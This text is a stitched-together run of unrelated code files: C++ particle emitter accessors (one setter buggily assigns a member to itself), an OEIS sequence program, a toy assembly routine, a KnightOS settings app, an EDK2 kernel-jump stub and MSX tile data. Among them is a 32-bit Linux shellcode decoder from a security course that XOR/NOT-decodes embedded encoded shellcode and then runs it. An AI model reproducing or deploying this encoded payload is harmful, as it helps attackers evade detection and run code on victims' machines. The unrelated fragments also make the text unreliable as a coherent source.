startColorVariance.b; emitterNode.append_attribute("endRColor") = endColor.r; emitterNode.append_attribute("endGColor") = endColor.g; emitterNode.append_attribute("endBColor") = endColor.b; emitterNode.append_attribute("endRColorVariance") = endColorVariance.r; emitterNode.append_attribute("endGColorVariance") = endColorVariance.g; emitterNode.append_attribute("endBColorVariance") = endColorVariance.b; } EmitterType Emitter::getEmitterType() const { return emitterType; } float Emitter::getEmissionRate() const { return emissionRate; } void Emitter::setEmissionRate(float emissionRate) { this->emissionRate = emissionRate; } int Emitter::getTextureIndex() const { return textureIndex; } void Emitter::setTextureIndex(int textureIndex) { this->textureIndex = textureIndex; } int Emitter::getTextureIndexVariance() const { return textureIndexVariance; } void Emitter::setTextureIndexVariance(int textureIndexVariance) { this->textureIndexVariance = textureIndexVariance; } float Emitter::getTotalLifeTime() const { return totalLifeTime; } void Emitter::setTotalLifeTime(float totalLifeTime) { this->totalLifeTime = totalLifeTime; } float Emitter::getLifeTimeVariance() const { return lifeTimeVariance; } void Emitter::setLifeTimeVariance(float lifeTimeVariance) { this->lifeTimeVariance = lifeTimeVariance; } cinder::vec2 Emitter::getPosition() const { return position; } void Emitter::setPosition(const cinder::vec2& pPosition) { this->position = position; } cinder::vec2 Emitter::getPositionVariance() const { return positionVariance; } void Emitter::setPositionVariance(const cinder::vec2& positionVariance) { this->positionVariance = positionVariance; } cinder::vec2 Emitter::getScale() const { return scale; } void Emitter::setScale(const cinder::vec2& scale) { this->scale = scale; } cinder::vec2 Emitter::getScaleVariance() const { return scaleVariance; } void Emitter::setScaleVariance(const cinder::vec2& scaleVariance) { this->scaleVariance = scaleVariance; } float Emitter::getAngle() const { return angle; } void Emitter::setAngle(float angle) { this->angle = angle; } float Emitter::getAngleVariance() const { return angleVariance; } void Emitter::setAngleVariance(float angleVariance) { this->angleVariance = angleVariance; } cinder::vec2 Emitter::getLinearVelocity() const { return linearVelocity; } void Emitter::setLinearVelocity(const cinder::vec2& linearVelocity) { this->linearVelocity = linearVelocity; } cinder::vec2 Emitter::getLinearVelocityVariance() const { return linearVelocityVariance; } void Emitter::setLinearVelocityVariance(const cinder::vec2& linearVelocityVariance) { this->linearVelocityVariance = linearVelocityVariance; } float Emitter::getAngularVelocity() const { return angularVelocity; } void Emitter::setAngularVelocity(float angularVelocity) { this->angularVelocity = angularVelocity; } float Emitter::getAngularVelocityVariance() const { return angularVelocityVariance; } void Emitter::setAngularVelocityVariance(float angularVelocityVariance) { this->angularVelocityVariance = angularVelocityVariance; } cinder::ColorA Emitter::getStartColor() const { return startColor; } void Emitter::setStartColor(const cinder::ColorA& startColor) { this->startColor = startColor; } cinder::ColorA Emitter::getStartColorVariance() const { return startColorVariance; } void Emitter::setStartColorVariance(const cinder::ColorA& startColorVariance) { this->startColorVariance = startColorVariance; } cinder::ColorA Emitter::getEndColor() const { return endColor; } void Emitter::setEndColor(const cinder::ColorA& endColor) { this->endColor = endColor; } cinder::ColorA Emitter::getEndColorVariance() const { return endColorVariance; } void Emitter::setEndColorVariance(const cinder::ColorA& endColorVariance) { this->endColorVariance = endColorVariance; }
; A141354: Expansion of (1-5*x-x^2+x^3)/((1+x)*(1-x)^3). ; 1,-3,-7,-15,-23,-35,-47,-63,-79,-99,-119,-143,-167,-195,-223,-255,-287,-323,-359,-399,-439,-483,-527,-575,-623,-675,-727,-783,-839,-899,-959,-1023,-1087,-1155,-1223,-1295,-1367,-1443,-1519,-1599,-1679,-1763,-1847 add $0,1 pow $0,2 sub $1,$0 div $1,4 mul $1,4 add $1,1 mov $0,$1
; Executable name : decoder ; Designed OS : Linux (32-bit) ; Author : wetw0rk ; Version : 1.0 ; Created Following : SLAE ; Description : Encoded shellcode from my custom encoder ; ; Build using the folowing commands: ; make ; python objdump2shellcode.py -d decoder -f c -b "\x00" ; SECTION .text global _start _start: jmp call_decoder decoder: pop ebx pop eax xor ecx,ecx mov cl,25 xor edx,edx decode: xor byte [ebx+edx],0xDE not byte [ebx+edx] inc edx loop decode jmp short shellcode call_decoder: call decoder shellcode: db 0x10,0xe1,0x71,0x49,0x0e,0x0e,0x52,0x49 db 0x49,0x0e,0x43,0x48,0x4f,0xa8,0xc2,0x71 db 0xa8,0xc3,0x72,0xa8,0xc0,0x91,0x2a,0xec db 0xa1
;; Reverse a user's string. lda msg1 puts get_s getc jz print_rev ;; Reached end sti s_ptr ld s_ptr inc st s_ptr ld c dec ;; Decrement c jz print_rev ;; Out of characters. st c j get_s print_rev lda s sub s_ptr inc ;; c contains number of characters to print. print_loop st c ld s_ptr dec st s_ptr ldi s_ptr putc ld c inc jz done j print_loop done halt s_ptr const s s blk 32 msg1 string "Enter a string to reverse: " c const 0
#include "kernel.inc" #include "corelib.inc" .db "KEXC" .db KEXC_ENTRY_POINT .dw start .db KEXC_STACK_SIZE .dw 20 .db KEXC_KERNEL_VER .db 0, 6 .db KEXC_NAME .dw name .db KEXC_HEADER_END name: .db "System Settings", 0 start: pcall(getLcdLock) pcall(getKeypadLock) pcall(allocScreenBuffer) ; Load dependencies kld(de, corelibPath) pcall(loadLibrary) ; Check whether the clock is supported pcall(getTime) ; to test the code path for calculators with no clock: ;or 1 ; reset the Z flag jr z, +_ ld a, 0 kld((clock_supported), a) _: redraw: kld(hl, windowTitle) xor a corelib(drawWindow) ; Print items ld de, 0x0608 kld(hl, systemInfoStr) ld b, 6 pcall(drawStr) kld(hl, receiveOSStr) pcall(drawStr) kld(a, (clock_supported)) cp 0 jr z, +_ kld(hl, setDateTimeStr) pcall(drawStr) _: kld(hl, backStr) pcall(drawStr) pcall(newline) _: kld(hl, (item)) add hl, hl ld b, h ld c, l add hl, hl add hl, bc ld de, 0x0208 add hl, de ld e, l kld(hl, caretIcon) ld b, 5 pcall(putSpriteOR) pcall(fastCopy) pcall(flushKeys) corelib(appWaitKey) jr nz, -_ cp kUp kcall(z, doUp) cp kDown kcall(z, doDown) cp k2nd kcall(z, doSelect) cp kEnter kcall(z, doSelect) cp kMode ret z jr -_ doUp: kld(hl, item) ld a, (hl) or a ret z dec a ld (hl), a kld(hl, caretIcon) pcall(putSpriteXOR) xor a ret #define NB_ITEM 4 doDown: kld(hl, item) ld a, (hl) inc a push af ld c, NB_ITEM kld(a, (clock_supported)) cp 0 jr nz, +_ ; if clock isn't supported, there is one option less ld a, c dec a ld c, a _: pop af cp c ret nc ld (hl), a kld(hl, caretIcon) pcall(putSpriteXOR) xor a ret doSelect: kld(hl, (item)) ld h, 0 push af kld(a, (clock_supported)) kld(de, itemTableClock) cp 0 jr nz, +_ kld(de, itemTableNoClock) _: pop af add hl, hl add hl, de ld e, (hl) inc hl ld d, (hl) pcall(getCurrentThreadID) pcall(getEntryPoint) add hl, de pop de \ kld(de, redraw) \ push de jp (hl) itemTableClock: .dw printSystemInfo .dw receiveOS .dw setDateTime .dw exit itemTableNoClock: .dw printSystemInfo .dw receiveOS .dw exit printSystemInfo: pcall(clearBuffer) kld(hl, windowTitle) xor a corelib(drawWindow) ld de, 0x0208 ld b, 2 kld(hl, systemVersionStr) pcall(drawStr) push de kld(de, etcVersion) pcall(openFileRead) jr nz, .noVersion pcall(getStreamInfo) pcall(malloc) inc bc pcall(streamReadToEnd) pcall(closeStream) push ix \ pop hl add hl, bc dec hl xor a ld (hl), a push ix \ pop hl pop de .writeVersion: ld b, 2 inc d \ inc d \ inc d pcall(drawStr) pcall(free) kld(hl, kernelVersionStr) pcall(drawStr) ld hl, kernelVersion inc d \ inc d \ inc d pcall(drawStr) pcall(newline) kld(hl, bootCodeVersionStr) pcall(drawStr) pcall(getBootCodeVersionString) inc d \ inc d \ inc d pcall(drawStr) push hl \ pop ix pcall(free) pcall(newline) pcall(newline) kld(hl, backStr) ld d, 6 ld b, 5 push de pcall(drawStr) pop de ld d, 2 kld(hl, caretIcon) pcall(putSpriteOR) _: pcall(fastCopy) pcall(flushKeys) corelib(appWaitKey) jr nz, -_ ret .noVersion: pop de kld(hl, notFoundStr) jr .writeVersion #include "datetime.asm" #include "upgrade.asm" exit: pop hl ret item: .db 0 clock_supported: .db 1 corelibPath: .db "/lib/core", 0 etcVersion: .db "/etc/version", 0 windowTitle: .db "System Settings", 0 systemVersionStr: .db "KnightOS version:\n", 0 kernelVersionStr: .db "Kernel version:\n", 0 bootCodeVersionStr: .db "Boot Code version:\n", 0 confirmUpgradeStr: .db "Warning! Upgrading your\n" .db "operating system may\n" .db "result in data loss.\n" .db "\n" .db " Cancel\n" .db " Proceed", 0 systemInfoStr: .db "System Info\n", 0 receiveOSStr: .db "Receive OS Upgrade\n", 0 setDateTimeStr: .db "Set Date/Time\n", 0 backStr: .db "Back", 0 notFoundStr: .db "Not found\n", 0 caretIcon: .db 0b10000000 .db 0b11000000 .db 0b11100000 .db 0b11000000 .db 0b10000000
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2013, Intel Corporation. All rights reserved.<BR> ; ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; JumpToKernel ( ; VOID *KernelStart, ; VOID *KernelBootParams ; ); ;------------------------------------------------------------------------------ global ASM_PFX(JumpToKernel) ASM_PFX(JumpToKernel): mov esi, [esp + 8] call DWORD [esp + 4] ret ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; JumpToUefiKernel ( ; EFI_HANDLE ImageHandle, ; EFI_SYSTEM_TABLE *SystemTable, ; VOID *KernelBootParams, ; VOID *KernelStart ; ); ;------------------------------------------------------------------------------ global ASM_PFX(JumpToUefiKernel) ASM_PFX(JumpToUefiKernel): mov eax, [esp + 12] mov eax, [eax + 0x264] add eax, [esp + 16] jmp eax
org #0000 patterns: db #00,#00,#00,#00,#00,#00,#00,#00 db #7e,#5f,#51,#50,#50,#50,#50,#51 db #00,#80,#e0,#78,#1e,#1e,#78,#e0 db #01,#03,#07,#0e,#1c,#38,#70,#50 db #80,#c0,#e0,#70,#38,#1c,#0e,#0e db #5f,#5e,#50,#50,#50,#70,#00,#00 db #80,#00,#00,#00,#00,#00,#00,#00 db #28,#14,#0a,#05,#02,#01,#00,#00 db #1c,#38,#70,#e0,#c0,#80,#00,#00 db #38,#28,#28,#28,#28,#28,#28,#28 db #28,#28,#28,#28,#2f,#3f,#00,#00 db #00,#00,#00,#00,#fc,#fc,#00,#00 db #70,#58,#5c,#5e,#56,#53,#53,#51 db #0e,#0a,#0a,#0a,#0a,#0a,#8a,#ca db #50,#50,#50,#50,#50,#70,#00,#00 db #ca,#6a,#7a,#3a,#1a,#0e,#00,#00 db #ff,#80,#be,#a2,#ba,#8a,#fb,#00 db #ff,#00,#7e,#42,#7a,#0a,#fb,#00 db #ff,#01,#7d,#45,#75,#15,#f7,#00 db #00,#00,#20,#10,#08,#05,#03,#03 db #f8,#04,#3a,#3a,#30,#28,#14,#6c db #03,#03,#01,#00,#00,#00,#00,#01 db #0c,#1c,#1c,#28,#48,#44,#c6,#ce db #00,#01,#00,#40,#20,#10,#0a,#06 db #00,#f0,#08,#74,#74,#60,#50,#2c db #06,#06,#06,#02,#00,#00,#00,#01 db #cc,#1c,#1c,#38,#48,#44,#c6,#ce db #00,#01,#00,#00,#40,#20,#12,#0e db #00,#00,#00,#00,#08,#08,#04,#04 db #02,#02,#01,#01,#00,#00,#01,#03 db #f8,#04,#ba,#ba,#30,#28,#14,#6c db #00,#04,#04,#02,#02,#01,#01,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #18,#18,#18,#18,#00,#18,#18,#00 db #28,#28,#28,#00,#00,#00,#00,#00 db #1c,#1c,#18,#28,#48,#44,#c6,#ce db #1f,#20,#5c,#5c,#0c,#14,#28,#36 db #00,#00,#04,#08,#10,#a0,#c0,#c0 db #30,#38,#38,#14,#12,#22,#63,#73 db #c0,#c0,#80,#00,#00,#00,#00,#80 db #00,#0f,#10,#2e,#2e,#06,#0a,#34 db #00,#80,#00,#02,#04,#08,#50,#60 db #33,#38,#38,#1c,#12,#22,#63,#73 db #60,#60,#60,#40,#00,#00,#00,#80 db #00,#00,#00,#00,#00,#20,#20,#40 db #00,#00,#00,#78,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#60,#60,#00 db #00,#80,#00,#00,#02,#04,#48,#70 db #10,#38,#6c,#c6,#6c,#38,#10,#00 db #18,#38,#58,#18,#18,#18,#18,#00 db #3e,#66,#0c,#18,#30,#60,#fe,#00 db #e0,#30,#18,#fc,#18,#30,#e0,#00 db #1c,#2c,#4c,#8c,#fc,#0c,#0c,#00 db #fe,#c0,#f0,#1c,#06,#1c,#f0,#00 db #06,#0c,#18,#38,#6c,#c6,#fe,#00 db #fe,#06,#0c,#18,#30,#60,#c0,#00 db #78,#cc,#cc,#78,#cc,#cc,#78,#00 db #1e,#76,#c6,#76,#1e,#06,#06,#00 db #00,#00,#20,#00,#00,#20,#00,#00 db #00,#00,#20,#00,#00,#20,#20,#40 db #00,#00,#00,#00,#10,#10,#20,#20 db #1f,#20,#5d,#5d,#0c,#14,#28,#36 db #40,#40,#80,#80,#00,#00,#80,#c0 db #70,#88,#08,#10,#20,#00,#20,#00 db #00,#20,#20,#40,#40,#80,#80,#00 db #10,#38,#38,#6c,#7c,#c6,#c6,#00 db #f0,#dc,#c6,#fc,#c6,#dc,#f0,#00 db #0c,#38,#60,#c0,#60,#38,#0c,#00 db #e0,#f8,#cc,#c6,#cc,#f8,#e0,#00 db #0c,#38,#60,#fc,#60,#38,#0c,#00 db #fe,#c0,#c0,#fc,#c0,#c0,#c0,#00 db #0c,#38,#60,#cc,#64,#3c,#0c,#00 db #c6,#c6,#c6,#fe,#c6,#c6,#c6,#00 db #18,#18,#18,#18,#18,#18,#18,#00 db #06,#06,#06,#c6,#66,#3e,#0e,#00 db #c6,#cc,#d8,#f0,#d8,#cc,#c6,#00 db #c0,#c0,#c0,#c0,#c0,#c0,#fe,#00 db #c6,#ee,#d6,#c6,#c6,#c6,#c6,#00 db #c6,#e6,#d6,#ce,#c6,#c6,#c6,#00 db #10,#38,#6c,#c6,#6c,#38,#10,#00 db #f0,#dc,#c6,#dc,#f0,#c0,#c0,#00 db #10,#38,#6c,#c6,#6c,#3c,#12,#00 db #f0,#dc,#c6,#dc,#f0,#dc,#c6,#00 db #3e,#60,#30,#18,#0c,#06,#fc,#00 db #7e,#18,#18,#18,#18,#18,#18,#00 db #c6,#c6,#c6,#c6,#c6,#c6,#fe,#00 db #c6,#c6,#6c,#6c,#38,#38,#10,#00 db #c6,#c6,#c6,#c6,#d6,#ee,#c6,#00 db #c6,#ee,#7c,#38,#7c,#ee,#c6,#00 db #c2,#66,#3c,#18,#30,#60,#c0,#00 db #fe,#06,#0c,#18,#30,#60,#fe,#00 db #20,#5c,#5c,#0c,#14,#28,#36,#30 db #00,#00,#00,#00,#80,#c0,#c0,#c0 db #38,#38,#18,#14,#12,#22,#63,#73 db #c0,#80,#00,#00,#00,#00,#00,#80 db #00,#00,#00,#00,#01,#03,#03,#03 db #04,#3a,#3a,#30,#28,#14,#6c,#0c db #03,#01,#00,#00,#00,#00,#00,#01 db #00,#00,#00,#00,#00,#00,#00,#f8 db #00,#00,#00,#00,#00,#00,#00,#1f db #00,#00,#00,#07,#0f,#1c,#18,#18 db #00,#00,#00,#ff,#ff,#00,#00,#00 db #00,#00,#00,#e0,#f0,#38,#18,#18 db #18,#18,#18,#18,#18,#18,#18,#18 db #18,#18,#1c,#0f,#07,#00,#00,#00 db #18,#18,#38,#f0,#e0,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #aa,#ee,#44,#00,#28,#38,#10,#00 db #00,#00,#00,#00,#00,#01,#01,#01 db #00,#00,#00,#00,#ff,#b1,#8d,#ff db #00,#00,#00,#00,#00,#80,#80,#80 db #01,#01,#00,#00,#00,#00,#00,#00 db #00,#00,#81,#42,#24,#24,#42,#81 db #80,#80,#00,#00,#00,#00,#00,#00 db #01,#01,#01,#01,#01,#00,#00,#00 db #ff,#ff,#ff,#81,#7e,#ff,#00,#00 db #80,#80,#80,#80,#80,#00,#00,#00 db #00,#07,#0f,#19,#18,#0c,#17,#0f db #00,#00,#80,#fc,#ff,#fc,#7f,#7f db #00,#00,#00,#00,#fe,#ff,#fe,#ff db #00,#00,#00,#00,#00,#ff,#ff,#ff db #00,#00,#00,#00,#00,#fc,#ff,#fc db #00,#00,#00,#00,#00,#00,#ff,#ff db #00,#00,#00,#00,#00,#3f,#ff,#3f db #00,#00,#00,#00,#00,#ff,#ff,#ff db #00,#00,#00,#00,#7f,#ff,#7f,#ff db #00,#00,#01,#0f,#ff,#3f,#fe,#fe db #00,#e0,#f0,#98,#18,#30,#e8,#f0 db #17,#0f,#07,#0f,#07,#0f,#07,#03 db #7f,#7f,#7f,#7f,#7f,#7f,#7f,#7f db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #07,#03,#07,#03,#07,#03,#07,#03 db #3f,#3f,#3f,#3f,#3f,#3f,#3f,#3f db #07,#03,#07,#03,#07,#03,#07,#03 db #3f,#3f,#3f,#3f,#3f,#3f,#7f,#7f db #07,#0b,#07,#0b,#07,#0b,#07,#0b db #17,#0b,#17,#0b,#17,#0f,#17,#0f db #ff,#ff,#ff,#ff,#7f,#03,#ff,#83 db #ff,#ff,#ff,#ff,#ff,#ff,#01,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #fc,#fe,#ff,#ff,#ff,#ff,#ff,#03 db #07,#00,#00,#00,#00,#00,#00,#00 db #01,#00,#00,#00,#00,#00,#00,#00 db #ff,#00,#00,#00,#00,#00,#00,#00 db #ff,#03,#00,#00,#00,#00,#00,#00 db #ff,#ff,#00,#00,#00,#00,#00,#00 db #fe,#fe,#fe,#fe,#fe,#fe,#fe,#fe db #e8,#f0,#e0,#f0,#e0,#f0,#e0,#c0 db #fc,#fc,#fc,#fc,#fc,#fc,#fc,#fc db #e0,#c0,#e0,#c0,#e0,#c0,#e0,#c0 db #fc,#fc,#fc,#fc,#fc,#fc,#fe,#fe db #e0,#c0,#e0,#c0,#e0,#c0,#e0,#c0 db #fe,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #e0,#d0,#e0,#d0,#e0,#d0,#e0,#d0 db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#c0 db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#80,#ff db #ff,#ff,#ff,#ff,#fe,#c0,#ff,#c1 db #e8,#d0,#e8,#d0,#e8,#f0,#e8,#f0 db #ff,#c0,#00,#00,#00,#00,#00,#00 db #ff,#00,#00,#00,#00,#00,#00,#00 db #80,#00,#00,#00,#00,#00,#00,#00 db #e0,#00,#00,#00,#00,#00,#00,#00 db #ff,#ff,#ff,#ff,#ff,#ff,#00,#00 db #00,#00,#ff,#ff,#ff,#ff,#00,#00 db #00,#00,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#fe,#fc db #ff,#ff,#ff,#ff,#ff,#ff,#7f,#3f db #3f,#7f,#ff,#ff,#ff,#ff,#7f,#3f db #3f,#7f,#ff,#ff,#ff,#ff,#ff,#ff db #fc,#fe,#ff,#ff,#ff,#ff,#ff,#ff db #fc,#fc,#fc,#fc,#fc,#fc,#fc,#fc db #3f,#3f,#3f,#3f,#3f,#3f,#3f,#3f db #39,#39,#93,#93,#c7,#c7,#ef,#ff db #e7,#e7,#e7,#e7,#e7,#e7,#e7,#ff db #81,#e7,#e7,#e7,#e7,#e7,#e7,#ff db #f3,#c7,#9f,#33,#9b,#c3,#f3,#ff db #ef,#c7,#93,#39,#93,#c7,#ef,#ff db #1f,#07,#33,#39,#33,#07,#1f,#ff db #39,#33,#27,#0f,#27,#33,#39,#ff db #c7,#bb,#bb,#c7,#ef,#e7,#ef,#e3 db #ee,#ee,#ee,#ee,#ee,#ee,#ee,#ee db #e0,#e0,#e0,#e0,#e0,#e0,#e0,#e0 db #00,#6c,#be,#fe,#fe,#7c,#38,#10 db #a0,#e0,#40,#00,#00,#00,#00,#00 db #f3,#c7,#9f,#03,#9f,#c7,#f3,#ff db #3d,#99,#c3,#e7,#cf,#9f,#3f,#ff db #c1,#9f,#cf,#e7,#f3,#f9,#03,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #00,#7e,#7e,#7e,#7e,#7e,#7e,#00 db #00,#00,#3c,#3c,#3c,#3c,#00,#00 db #00,#00,#00,#18,#18,#00,#00,#00 db #00,#00,#00,#10,#00,#00,#00,#00 db #fc,#fe,#ff,#ff,#ff,#ff,#fe,#fc db #ff,#ff,#ff,#ff,#ff,#ff,#7e,#3c db #3c,#3c,#3c,#3c,#3c,#3c,#3c,#3c db #3c,#7e,#ff,#ff,#ff,#ff,#ff,#ff db #00,#03,#07,#37,#37,#36,#67,#77 db #00,#30,#70,#70,#73,#67,#76,#74 db #00,#00,#00,#00,#00,#00,#00,#3c db #77,#76,#63,#7b,#7f,#7f,#67,#5f db #76,#76,#a6,#fa,#fe,#fe,#fe,#ce db #3b,#0f,#03,#03,#01,#00,#00,#00 db #3c,#ff,#ff,#ff,#ff,#7f,#1f,#00 db #be,#7e,#be,#be,#bc,#fc,#b8,#00 db #00,#0c,#0e,#0e,#ce,#e6,#6e,#2e db #00,#c0,#e0,#ec,#ec,#6c,#e6,#ee db #6e,#6e,#65,#5f,#7f,#7f,#7f,#73 db #ee,#6e,#c6,#de,#fe,#fe,#e6,#fa db #00,#00,#00,#00,#00,#00,#00,#3c db #7d,#7e,#7d,#7d,#3d,#3f,#1d,#00 db #3c,#ff,#ff,#ff,#ff,#fe,#f8,#00 db #dc,#f0,#c0,#c0,#80,#00,#00,#00 db #00,#00,#20,#30,#3c,#3f,#3f,#3f db #00,#00,#00,#00,#00,#00,#80,#80 db #1f,#1f,#0f,#0f,#07,#03,#01,#00 db #80,#c0,#c0,#e0,#e0,#f0,#f8,#fc db #00,#00,#00,#00,#00,#00,#80,#80 db #3c,#ff,#7f,#07,#03,#01,#00,#00 db #80,#80,#00,#80,#c0,#e0,#40,#00 db #00,#00,#30,#3c,#16,#1b,#0d,#06 db #00,#00,#00,#00,#00,#00,#80,#c0 db #03,#01,#00,#00,#00,#00,#00,#00 db #60,#b0,#f8,#7c,#3c,#1e,#07,#03 db #00,#00,#00,#00,#00,#00,#30,#60 db #00,#01,#03,#02,#00,#00,#00,#00 db #c0,#a0,#70,#38,#1c,#08,#00,#00 db #00,#00,#02,#03,#01,#01,#01,#01 db #00,#00,#00,#00,#00,#40,#20,#10 db #01,#01,#00,#00,#00,#00,#0c,#06 db #08,#04,#82,#81,#60,#10,#08,#08 db #00,#00,#00,#00,#80,#40,#20,#10 db #1e,#01,#00,#00,#00,#00,#00,#00 db #06,#81,#60,#18,#06,#01,#01,#00 db #00,#fc,#06,#00,#80,#c0,#e0,#00 db #00,#00,#02,#03,#01,#01,#01,#01 db #00,#00,#00,#00,#00,#40,#20,#10 db #01,#01,#00,#00,#00,#00,#0c,#06 db #08,#04,#82,#81,#60,#10,#08,#08 db #00,#00,#00,#00,#80,#40,#20,#10 db #1e,#01,#00,#00,#00,#00,#00,#00 db #06,#81,#60,#18,#06,#01,#01,#00 db #00,#fc,#06,#00,#80,#c0,#e0,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #a0,#e0,#40,#00,#0a,#0e,#04,#00 endpatterns: patternattributes: db #00,#00,#00,#00,#00,#00,#00,#00 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #00,#00,#00,#00,#00,#00,#00,#00 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #50,#50,#50,#50,#50,#50,#50,#50 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db 